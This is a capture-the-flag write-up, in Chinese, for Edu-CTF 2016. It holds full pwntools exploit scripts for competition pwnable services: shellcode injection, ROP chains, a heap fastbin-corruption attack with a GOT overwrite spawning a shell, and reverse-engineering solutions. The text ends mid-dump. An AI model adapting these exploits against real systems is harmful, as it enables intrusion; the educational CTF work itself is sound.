[Edu-CTF 2016](https://final.csie.ctf.tw) Write-up - public version
===
### Team: CRAX
> Lays, freetsubasa, date
---
### 🐻 MISC 10 - Rilakkuma
> CTF{rilakkuma}
> [rilakkuma.jpg](https://final.csie.ctf.tw/files/6ae7398e200ae87f5dc6ae339a4dfaeb/rilakkuma.jpg)
---
### 😇 Pwnable 150 - Start
> Start
> [BGM] https://www.youtube.com/watch?v=bBzBZJwW90g
> nc ctf.pwnable.tw 8731
會讀 60 bytes 到 stack 上,造成 buffer overflow
先蓋 return address 跳 `0x8048087` leak stack address 再做第二次 overflow 跳 shellcode:
```python
#!/usr/bin/env python
from pwn import * # pip install pwntools
r = remote("ctf.pwnable.tw", 8731)
r.recvuntil(":")
r.sendline("A" * 20 + p32(0x8048087))
stack = u32(r.recv(20)[:4]) + 0x70
log.info(hex(stack))
r.send("A" * 20 + p32(stack) + "\x90" * 15 + "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80")
r.sendline("id")
r.interactive()
r.close()
```
Flag: `CTF{Z3r0_1s_st4rt}`
---
### 😇 Pwnable 250 - Silver Bullet
> Create your silver bullet !
> [BGM] https://www.youtube.com/watch?v=QCTz2ie6uUg
> nc ctf.pwnable.tw 4869
power_up() 中呼叫 `strncat` 時可以造成 overflow
`strncat(bullet->desc,buf,MAX - bullet->power);`
先 create description 長度為 47 的 bullet
再 `power_up()` 1 byte , strncat 會把 `NULL` 寫到 power 的最低位,將 power 變成 1
再做一次 `power_up()` 就可以修改掉 power 的值並 overflow 到 `main()` 的 return address
最後把 `power` 改超大殺死 Werewolf 就可以觸發 return
因為是透過 `strncat` 造成的 overflow ,rop 中不能有 NULL byte
這裡我的利用比較複雜,先 `leak puts@got` ,接著呼叫 `read_int()` 把 address 放到 eax,
再跳到 `read_int()` 中間,執行 `read(0, eax, 0x41414141)` 讀第二段 `ROP Chain`
再做 `stack migration` 並執行 `system("/bin/sh")`
比較簡單的做法應該是 leak 之後 `return to main` 再做第二次 overflow
```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import * # pip install pwntools
r = remote("ctf.pwnable.tw", 4869)
elf = ELF("./Silver_Bullet")
libc = ELF("./libc-5221435a058b204c3616b10dc7d7e6d0.so")
def create(des):
r.recvuntil("choice :")
r.sendline("1")
r.recvuntil(":")
r.send(des)
def powerup(des):
r.recvuntil("choice :")
r.sendline("2")
r.recvuntil(":")
r.send(des)
read_int = 0x8048643
puts = 0x80484A8
pop = 0x08048475
leave = 0x080486b5
buf = elf.bss() + 0x300
create("A" * 47)
powerup("\xff") # power = 1
payload = "\xff\xff\xff" # power
payload += p32(buf) # ebp
# puts(puts@got)
payload += p32(puts)
payload += p32(pop)
payload += p32(0x804AFDC)
# eax = read_int(input) -> read(0, eax, 0x41414141)
payload += p32(read_int)
payload += p32(0x804864e)
payload += p32(0x41414141)
# migrate
payload += p32(leave)
powerup(payload) # bof
# kill wolf to return from main()
r.recvuntil("choice :")
r.sendline("3")
r.recvuntil("Oh ! You win !!\n")
libc_base = u32(r.recvline()[:4]) - libc.symbols["puts"]
log.info("libc_base = " + hex(libc_base))
libc_system = libc_base + libc.symbols["system"]
libc_sh = libc_base + next(libc.search("/bin/sh\x00"))
r.sendline(str(buf).ljust(14)) # input for read_int
r.sendline(p32(libc_system) * 2 + p32(libc_sh) * 2 ) # second rop chain
r.interactive()
```
Flag: `CTF{Using_the_silv3r_bull3t_to_pwn_th3_w0rld}`
---
### 😇 Pwnable 300 - alivenote
> Have you finished your howework ?
> [BGM] https://www.youtube.com/watch?v=T0LfHEwEXXw
> nc ctf.pwnable.tw 55688
跟作業一樣的漏洞,新增 `note` 時輸入負數可以把 got 上的 address 指向 note 內容
但這題每一個 note 最多只能有 8 byte ,且要是 alphanumic
解法是每執行完幾個指令後就 `jo 0x38` 跳到下一個 note content 繼續執行
先做出 `read(0, esp, xxxx)` 再讀取第二段 shellcode:
```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import * # pip install pwntools
r = remote("ctf.pwnable.tw", 55688)
elf = ELF("./alivenote")
def add(sc, idx):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(idx))
r.recvuntil(":")
r.send(sc)
def delete(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))
def padding():
add("AAAAAAAA", -1)
add("BBBBBBBB", -1)
add("CCCCCCCC", -1)
offset = (elf.got["free"] - elf.symbols["note"]) / 4
# eax = buff, ebx = ecx = edx = 0
# create a read(0, buff, xxxx)
add("PYjAXE" "q8", offset) # push eax ; pop ecx ; push 0x41 ; pop eax
padding() # => ecx = buff, eax = 0x41
add("4AHEEE" "q8", 0) # xor al, 0x41 ; dec eax
padding() # => eax = 0xff
add("0AF49E" "q8", 1) # xor [ecx+0x46], al ; xor al, 0x39
padding() # => 0xff ^ '2' = 0xcd, al ^= '9'
add("0AGjzZ" "q8", 2) # xor [ecx+0x47], al ; push 0x7a ; pop edx
padding() # => 0xff ^ '9' ^ 'F' = 0x80, edx = 0x7a
add("j7X44E" "2F", 3) # push 0x37 ; pop eax; xor al, 0x34 ; int 0x80
# => eax = 3
delete(2) # buff = address of note[2]
r.sendline("\x90" * 60 + asm(shellcraft.i386.linux.sh()))
r.interactive()
```
Flag: `CTF{Sh3llcoding_in_th3_n0t3_ch4in}`
Ref: https://www.youtube.com/watch?v=9bHibgrjNlc&list=PLTdZQWyXtB8PyKWfJyBM9TmdksIEcNRXl&index=2
---
### 😇 Pwnable 500 - Secret of my heart
> Find the secret of my heart !
> [BGM] https://www.youtube.com/watch?v=i4TqyI9EfzE
> nc ctf.pwnable.tw 31337
`heart_ctor()` 中存在 null-byte overflow:
```c
ret = read_input(h->secret,size);
h->secret[ret] = '\x00';
```
可以用來蓋掉下一個 freed chunk 的 size
利用方式是
1. 新增三個 secret `A` `B` `C`:
`[A size=0x40][B size=0x110][C size=0x100]`
2. free 掉 `B` 跟 `A`
`[freed size=0x40][freed size=0x110][C size=0x100]`
3. add 回 `A` , 透過 overflow 把 free chunk 的 size 變小,使 chunk 之間產生空隙
`[A size=0x40][freed size=0x100][][C size=0x100]`
`----------------------------^^-----------------`
4. add `B'`
`[A size=0x40][B' size=0x90][freed size=0x70][][C size=0x100]`
5. add `D`
`[A size=0x40][B' size=0x90][D size=0x40][freed size=0x30][][C size=0x100]`
6. add `E` 把 `C` 跟 top chunk 隔開,並 free `C`
此時 `C` 會透過 prev_size 找到上一個 chunk 跟他做 `merge`,
由於前面造成的空隙,`C` 的 prev_size 並沒有被修改,仍然認為上一個 chunk 是 `B`
因此 `B` 跟 `C` 會 merge 在一起
造成的結果是 free chunk 跟 `D` 重疊在一起:
`[A size=0x40][freed size=0x210][E size=0x110]`
`---------------[D size=0x40]-----------------`
接著透過 `malloc()` 拿到中間那塊 freed chunk 就可以控制 `D` 的內容
但是 `secret` chunk 中只是字串,並沒有 pointer 可拿來修改利用
不過可以配合 `fastbin curroption`:
1. 先 add `B` ,利用重疊的情況把 `D` 的 size 改成 `0x60`,同時也要修改到 `D` 的下一塊的 size ,使其對齊且 prev_inused 為 1
`[A size=0x40][B size=0x100][freed size=0x110][E size=0x110]`
`--------------[D size=0x60][D' size=0x90 prev_inused=1]----`
完成後刪除 `B`
2. free `D` 將 `D` 放進 `fastbin`:
`[A size=0x40][freed size=0x210][E size=0x110]`
`--------------[freed size=0x60]--------------`
3. 再次新增 `B` 來修改 fastbin 中的 `D` 的 fd ,使其指向 `list[3]` 的 name:
`[A size=0x40][B size=0x100][freed size=0x110][E size=0x110]`
`---------------[freed size=0x60 fd->note_list[3].name]-----`
完成後刪除 `B`
4. 新增一個 secret ,在 `list[3]` 的 name 中製造一個假的 fastbin chunk,size 為 `0x60`,fd 指向 got 上面一點的位置 `0x601ffa`,此 address + 8 上的 dword 為 0x60,因此可以通過 `malloc()` 取出 `fastbin` 時的 `size` 檢查
5. 透過 `add_secret` 新增兩個 size 為 `0x60` 的 chunk,
第二次 `malloc()` 會 retrun 我們上一步偽造的 `fd`,指向 `secret[3].name` 中
因此我們可以將 `free@got` 寫到 `secret[3].secret` 上
再將 `secret[3] show` 出來就可以 leak 出 `libc address`
6. 接著再 `malloc()` 一次會得到位於 `0x601ffa` 的 chunk,就可以 overwrite got,
將 `free()` 改成 `system()`
```python
#!/usr/bin/env python
from pwn import * # pip install pwntools
context.arch = "amd64"
import ctypes
LIBC = ctypes.cdll.LoadLibrary("./libc.so.6")
libc = ELF("./libc.so.6")
r = remote("ctf.pwnable.tw", 31337)
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
#r = remote("localhost", 4000)
LIBC.srand(LIBC.time(0))
list_addr = LIBC.rand() & 0xfffff000
log.info("list_addr=" + hex(list_addr))
def add(name, secret):
r.recvuntil("choice :")
r.sendline("1")
r.recvuntil(": ")
r.sendline(str(len(secret)))
r.recvuntil(":")
if len(name) == 32:
r.send(name)
else:
r.sendline(name)
r.recvuntil(":")
r.send(secret)
def delete(idx):
r.recvuntil("choice :")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))
def show(idx):
r.recvuntil("choice :")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))
add("aaaa", "A" * 0x38) # 0
add("bbbb", "B" * 0x100) # 1
add("cccc", "C" * 0xf0) # 2
# [A][B][C]
delete(1)
delete(0)
add("aaaa", "A" * 0x38) # 0, null byte overflow on freed B's size
# [A][freed B][C]
add("bbbb", "B" * 0x7f) # 1
add("dddd", "D" * 0x2f) # 3
# [A][B][D][][C]
delete(1) # free B
# [A][freed B][D][][C]
add("eeee", "E" * 0x100) # 1, split from top
# [A][freed B][D][][C][E]
delete(2) # delete C to make B merge with C, then will be overlapped!
# overwrite D's size to 0x60
add("bbbb", "B" * 0x80 + p64(0x0) + p64(0x61) + "Z" * 88 + p64(0x91) ) # 2
delete(2)
# [A][ B ][E]
# [A] [D]
# put D into fastbin (0x60)
delete(3)
# overwrite D in fastbin, make its fd points to a fake chunk we will made in heart later
add("bbbb", "B" * 0x80 + p64(0x0) + p64(0x61) + p64(list_addr + 0x30 * 3 + 8) ) # 1
# create fake chunk in heart[3].name
add(p64(0) + p64(0x60) + p64(0x601ffa) , "FFFF") # 3
# leak libc
add("____", "_" * 0x58) # 4
add("____", p64(0x602018) * 11) # 5, malloc return an forged address on heart[], so we can overwrite heart[3].secret with free@got
show(3)
r.recvuntil("Secret : ")
libc_free = u64(r.recvline()[:-1].ljust(8, '\0'))
libc_base = libc_free - libc.symbols["free"]
libc_system = libc_base + libc.symbols["system"]
log.info("libc_base=" + hex(libc_base))
# next malloc will return 0x601ffa + 8, so we can overwrite the got and change free() to system()
add("L4ys", "/bin/sh;".ljust(14, "A") +
flat([libc_system,
libc_base + libc.symbols["puts"],
0,
0,
libc_base + libc.symbols["printf"],
libc_base + libc.symbols["memset"],
libc_base + libc.symbols["read"],
0])
) # 6
delete(6) # trigger system("/bin/sh")
r.interactive()
```
Flag: `CTF{It_just_4_s3cr3t_on_the_h34p}`
Ref: http://4ngelboy.blogspot.tw/2016/03/advanced-heap-exploitation.html
---
### 😇 Pwnable 600 - Kidding
> Pwning for kidding !!
> [BGM] https://www.youtube.com/watch?v=pn5tnyuHW3g
> nc ctf.pwnable.tw 8361
出題者表示想將梗保留起來,故不公開解法
此題將會在即將上線的 wargame site: pwnable.tw 與大家見面 !
![](http://www.rockcellarmagazine.com/wp-content/uploads/2014/11/censored.jpg)
Flag: `CTF{It_is_just_4_kiddin9}`
---
### 😇 Pwnable 700 - ☠ Critical Heap ++
> It's very crazy ! Don't do it !!
> [BGM] https://www.youtube.com/watch?v=qjJFWZAirjI
> nc ctf.pwnable.tw 56746
![](https://static.mengniang.org/common/thumb/4/41/Nicky.jpg/250px-Nicky.jpg)
---
### 🔄 Reverse 100 - AHK
> Try to decrypt the flag.
> Notice: The flag doesn't include 'CTF{}' after decryption, but you must add the prefix when submitting to scoreboard.
`AutoHotkey` 產生的執行檔
從 resource 拉出 src:
```
<COMPILER: v1.1.24.04>
:O:@a::04
:O:@b::7f
:O:@c::be
:O:@d::37
:O:@e::73
:O:@f::29
:O:@g::ff
:O:@h::a5
:O:@i::a9
:O:@j::2c
:O:@k::ef
:O:@l::d1
:O:@m::48
:O:@n::22
:O:@o::63
:O:@p::5a
:O:@q::fa
:O:@r::32
:O:@s::fa
:O:@t::98
:O:@u::3b
:O:@v::cd
:O:@w::25
:O:@x::fb
:O:@y::47
:O:@z::d2
:O:@0::05
:O:@1::b5
:O:@2::ba
:O:@3::09
:O:@4::e6
:O:@5::77
:O:@6::68
:O:@7::56
:O:@8::00
:O:@9::15
:O:@_::e4
```
看起來是跟 `flag.enc` 對應
寫 script 解回 flag:
```python
d = { 0x04:"a", 0x7f:"b", 0xbe:"c", 0x37:"d", 0x73:"e", 0x29:"f", 0xff:"g", 0xa5:"h", 0xa9:"i", 0x2c:"j", 0xef:"k", 0xd1:"l", 0x48:"m", 0x22:"n", 0x63:"o", 0x5a:"p", 0xfa:"q", 0x32:"r", 0xfa:"s", 0x98:"t", 0x3b: "u", 0xcd:"v", 0x25:"w", 0xfb:"x", 0x47:"y", 0xd2:"z", 0x05:"0", 0xb5:"1", 0xba:"2", 0x09:"3", 0xe6:"4", 0x77:"5", 0x68:"6", 0x56:"7", 0x00:"8", 0x15:"9", 0xe4:"_", }
print "".join(d[ord(i)] for i in "d105bee6d1e4fa983b37092298fae422090937e47fe6faa9bee45a05a92298fa".decode('hex'))
```
Flag: `CTF{l0c4l_stud3nts_n33d_b4sic_p0ints}`
---
### 🔄 Reverse 200 - orangr
> orange = web
> orangr = ?
> http://140.113.209.24:10301/orangr/index.php
只有一個登入介面,可以從 http://140.113.209.24:10301/ 找到 `orangr.so`
逆向後發現是 php extension,用來 check login:
`zif_check_user()` 中單純檢查 username = `pwn_gg`
`zif_check_pw()` 會將密碼轉為大數,透過 libgmp 進行一連串運算並比對結果:
```cpp
void zif_check_pw(__int64 a1, __int64 a2)
{
__int64 v2; // rbp@1
__int64 v3; // rdi@1
__int64 v4; // rbx@2
int *p; // r14@3
int i; // er13@3
int *pcmp; // r9@6
int j; // er8@6
int *p_next; // rsi@6
int *pcurr; // rax@8
int sum; // edx@8
int v12; // ecx@9
__int64 *v14; // [sp+8h] [bp-130h]@1
int mpz; // [sp+10h] [bp-128h]@2
int len; // [sp+14h] [bp-124h]@2
int mod_result[56]; // [sp+20h] [bp-118h]@3
__int64 v18; // [sp+108h] [bp-30h]@1
v2 = a2;
v3 = *(a1 + 44);
if ( zend_parse_parameters(v3, "z", &v14) != -1 )
{
v4 = *v14;
__gmpz_init(&mpz, "z");
__gmpz_set_str(&mpz, v4 + 24, 10LL);
if ( len > 0 )
{
p = mod_result;
i = 0;
do
{
++i;
*p = __gmpz_fdiv_ui(&mpz, 56LL); // *p = x % 56
++p;
__gmpz_fdiv_q_ui(&mpz, &mpz, 56LL); // x /= 56
}
while ( len > 0 && i != 56 );
}
__gmpz_clear(&mpz);
pcmp = cmp;
j = 0;
p_next = &mod_result[1];
if ( cmp[0] )
{
LABEL_11:
*(v2 + 8) = 2;
}
else
{
while ( ++j != 56 )
{
pcurr = mod_result;
sum = 0;
do
{
v12 = *p_next < *pcurr;
++pcurr;
sum += v12;
}
while ( pcurr != p_next );
++pcmp;
++p_next;
if ( *pcmp != sum )
goto LABEL_11;
}
*(v2 + 8) = 3;
}
}
}
```
將程式邏輯重新實做交給 `KLEE` 求出 `mod_result`,最後當成 56 進位算出密碼:
```cpp
#include <klee/klee.h>
#include <stdint.h>
unsigned char cmp[56] = {
0x00, 0x01, 0x02, 0x00, 0x03, 0x04, 0x05, 0x02,
0x02, 0x06, 0x03, 0x02, 0x05, 0x08, 0x0A, 0x05,
0x04, 0x00, 0x08, 0x09, 0x03, 0x02, 0x15, 0x04,
0x0A, 0x02, 0x0D, 0x19, 0x19, 0x0D, 0x18, 0x17,
0x05, 0x07, 0x1C, 0x14, 0x13, 0x05, 0x1F, 0x0C,
0x0D, 0x04, 0x10, 0x03, 0x02, 0x1B, 0x13, 0x02,
0x20, 0x27, 0x11, 0x1D, 0x1C, 0x18, 0x06, 0x23
};
int main(int argc, char *argv[])
{
unsigned char mod_result[56] = {0};
klee_make_symbolic(mod_result, 56 , "mod_result");
for ( int i = 0; i < 56; ++i ) {
klee_assume(mod_result[i] >= 0 );
klee_assume(mod_result[i] <= 55 );
}
for ( int i = 0; i < 55; ++i )
klee_assume(mod_result[i] != mod_result[i+1] );
for ( int i = 1; i < 56; ++i ) {
int count = 0;
for ( int j = 0; j < i; ++j )
if ( mod_result[i] < mod_result[j] )
count++;
if ( cmp[i] != count )
return 0;
}
klee_assert(0);
return 0;
}
```
```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-
mod_result = [0x2f,0x0c,0x00,0x37,0x09,0x03,0x02,0x0c,0x2d,0x05,0x28,0x2d,0x0f,0x0b,0x07,0x26,0x2a,0x37,0x22,0x21,0x2d,0x30,0x00,0x2e,0x27,0x36,0x24,0x00,0x01,0x24,0x04,0x06,0x2e,0x2d,0x03,0x0d,0x11,0x2e,0x03,0x2c,0x2a,0x2f,0x29,0x33,0x36,0x10,0x28,0x36,0x0c,0x05,0x2a,0x11,0x21,0x26,0x32,0x0f]
s = 0
for i, n in enumerate(mod_result):
s += n * 56 ** i
print s
```
username = `pwn_gg`
password = `22484314038774183882379870536595842641055898869375067333079702401161192138756198707377056157299919`
登入後得到 Flag
Flag: `CTF{ORangr_ANDangr_XORangr_NOTangr}`
---
### 🔄 Reverse 300 - tsubasa
> Pure reverse ?
> Notice: The flag doesn't include 'CTF{}' in this challenge but you must add the prefix when submitting to scoreboard.
tsubasa
程式是用 [movfuscator](https://github.com/xoreaxeaxeax/movfuscator) 產生的 binary
執行後顯示
```python
I splited the secrets and hide the slice in each chunk.
secrets = ''.join(chunks[i] for i in sorted(chunks)) # sorted by chunk size
flag = "CTF{%s}" % secrets[24] + secrets[37] + secrets[52] + secrets[62] + secrets[79] + secrets[94] + + secrets[95] + secrets[129] + secrets[208] + secrets[292] + secrets[364] + secrets[601] + secrets[663] + secrets[764] + secrets[897] + secrets[955] + secrets[1057] + secrets[1179] + secrets[1186] + secrets[1224] + secrets[1324] + secrets[1448] + secrets[1496] + secrets[1545] + secrets[1548] + secrets[1552] + secrets[1674] + secrets[1927] + secrets[1933] + secrets[2019] + secrets[2172] + secrets[2222] + secrets[2271] + secrets[2287] + secrets[2350] + secrets[2360] + secrets[2413] + secrets[2430]
```
分析 `movfuscator` binary 的一個技巧是從外部呼叫開始追,觀察後會發現程式會不斷呼叫 `malloc()`
猜測就是在產生題目所說的 chunk,因此寫個 so 來 hook `malloc()` 並 dump 出內容:
```c
#include <stdio.h>
#include <dlfcn.h>
static void* (*real_malloc)(size_t)=NULL;
static void* p = NULL;
void *malloc(size_t size)
{
if ( real_malloc == NULL )
real_malloc = dlsym(RTLD_NEXT, "malloc");
if ( p )
fprintf(stderr, "%s===\n", (char*)p);
fprintf(stderr, "%d: ", size);
p = real_malloc(size);
return p;
}
```
會發現每個 chunk size 大小都不同,但都是 16 位的字串,共有 1023 個 chunk:
```
53592: J9y0KePKXopZpxYk
120: RjhzsaaNBTFAtM7e
27968: 6QPS24pfpCC5mTcI
24440: ggWfzbghma9nf42t
9608: mzLOzOHYhjgnqCIB
21168: aAcBZbn4ScmcIMOU
20040: idZC_3qp3yoYtEYL
16936: kon0FMPOWdgvcDL1
49360: tt0mfe8LgTUhE4Lr
1120: 37cNa6807IqARWtH
7192: j3XCMrjQju5Q7vMY
34584: U3ZQ_COQZ6VSG2Lb
6280: GdjpKd3GLCdHnv8_
16504: ANLXIepMWyoNIuqr
...
```
照題目敘述排序並取出特定的字元組成 Flag:
```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from commands import getoutput
log = getoutput("LD_PRELOAD=./hook.so ./tsubasa").split("===\n")[1:-1]
chunks = {}
for i in log:
s = i.split(": ")
chunks[int(s[0])] = s[1]
secrets = ""
for key in sorted(chunks.iterkeys()):
secrets += chunks[key]
flag = "CTF{%s}" % (secrets[24] + secrets[37] + secrets[52] + secrets[62] + secrets[79] + secrets[94] + secrets[95] + secrets[129] + secrets[208] + secrets[292] + secrets[364] + secrets[601] + secrets[663] + secrets[764] + secrets[897] + secrets[955] + secrets[1057] + secrets[1179] + secrets[1186] + secrets[1224] + secrets[1324] + secrets[1448] + secrets[1496] + secrets[1545] + secrets[1548] + secrets[1552] + secrets[1674] + secrets[1927] + secrets[1933] + secrets[2019] + secrets[2172] + secrets[2222] + secrets[2271] + secrets[2287] + secrets[2350] + secrets[2360] + secrets[2413] + secrets[2430])
#print secrets
print flag
```
Flag: `CTF{1ns7rum3n74710n_1s_sh4m3ful_8u7_us3ful}`
---
### 🔄 Reverse 400 - caitlyn
> I wanna play a game ...
> nc 140.113.209.24 10003
連上去之後發現是個不知道在幹嘛的 game:
```
0 1 2 3 4 5 6 7 8 9
0 - - - 1 3 - 2 - - -
1 1 1 - 2 - - 3 2 1 1
2 - 1 - 2 - 4 - 3 - 1
3 1 1 - 1 1 2 2 - 2 1
4 - - - - 1 1 3 2 3 1
5 1 1 - - 1 - 2 - 2 -
6 - 2 1 - 1 1 2 2 3 2
7 2 - 2 2 1 1 - 1 - 1
8 3 5 - 3 - 1 - 1 2 2
9 - - - 3 1 1 - - 1 -
```
經過分析 binary 後得知是踩地雷遊戲
總共分為 9 關,必須將 `-` 的格子填上數字或是 `-1` 代表地雷後回傳
每關的板面大小為 `height=i * 10`, `width=i * 10`, `地雷數=i * 100 * i / 5`
直接從網路上找了個 [minesweeper solver](https://github.com/madewokherd/mines) 接在一起:
```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import * # pip install pwntools
from commands import getoutput
r = remote("140.113.209.24", 10003)
def mine(width, height, mine_count):
r.recvline()
r.recvline()
log.info("mines h=%d w=%d c=%d" % (width, height, mine_count))
board = []
for i in range(width):
board.append(r.recvline().split()[1:])
#pprint(board)
out = ""
for line in board:
for col in line:
out += col
sol = getoutput("echo '%s' | python mines.py mines %d %d %d" % ( out, width, height, mine_count )).split("\n")[1:-1]
for y in range(height):
for x in range(width):
if sol[y][x] == '1':
board[y][x] = '-1'
if board[y][x] == '-':
board[y][x] = '0'
#print(board)
ans = ""
for y in range(height):
for x in range(width):
ans += board[y][x] + " "
r.sendline(ans)
for i in range(1,10):
mine(i * 10, i * 10, i * 100 * i / 5)
log.success(r.recvline())
```
Flag: `CTF{ZZZ_zzz_zZZ_Zzz_ZzZ_zZz_ZZz_zzZ}`
---
### 🔄 Reverse 500 - printbf
> Here is no service let you pwn, but you can pwn yourself.
> hint: https://github.com/HexHive/printbf
丟進 IDA 會發現是一坨屎
後來根據 hint 得知是 `printbf` 生成的 binary
因此開始參考 `printbf` 的 source code 並嘗試將 binary 轉回 brainfuck code:
先用 gdb 中斷在 `0x402C75` 並 dump 在 `0x641868` 上的 program 內容
```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
bf = [u32(_) for _ in group(4, "".join([c for c in read("./dump")]))][2:]
out = ""
i = 0
while i < len(bf):
op = bf[i]
if op == 14:
i += 1
count = bf[i]
out += '>' * count
elif op == 15:
i += 1
count = (65536 - bf[i])
out += '<' * count
elif op == 18:
i += 1
count = bf[i]
if count > 0x7f:
count = (256 - count)
out += '-' * count
else:
out += '+' * count
elif op == 9:
out += "["
i += 5
elif op == 12:
out += "]"
i += 1
elif op == 7:
out += ","
i += 3
elif op == 5:
out += "."
i += 3
elif op == 13:
out += "[-]"
i += 1
else:
print "unknown: %d: %d" % (i, op)
i += 1
```
brainfuck code:
```bf
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>++++++++++++++++++++++++++++++++<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++><<<<<<<<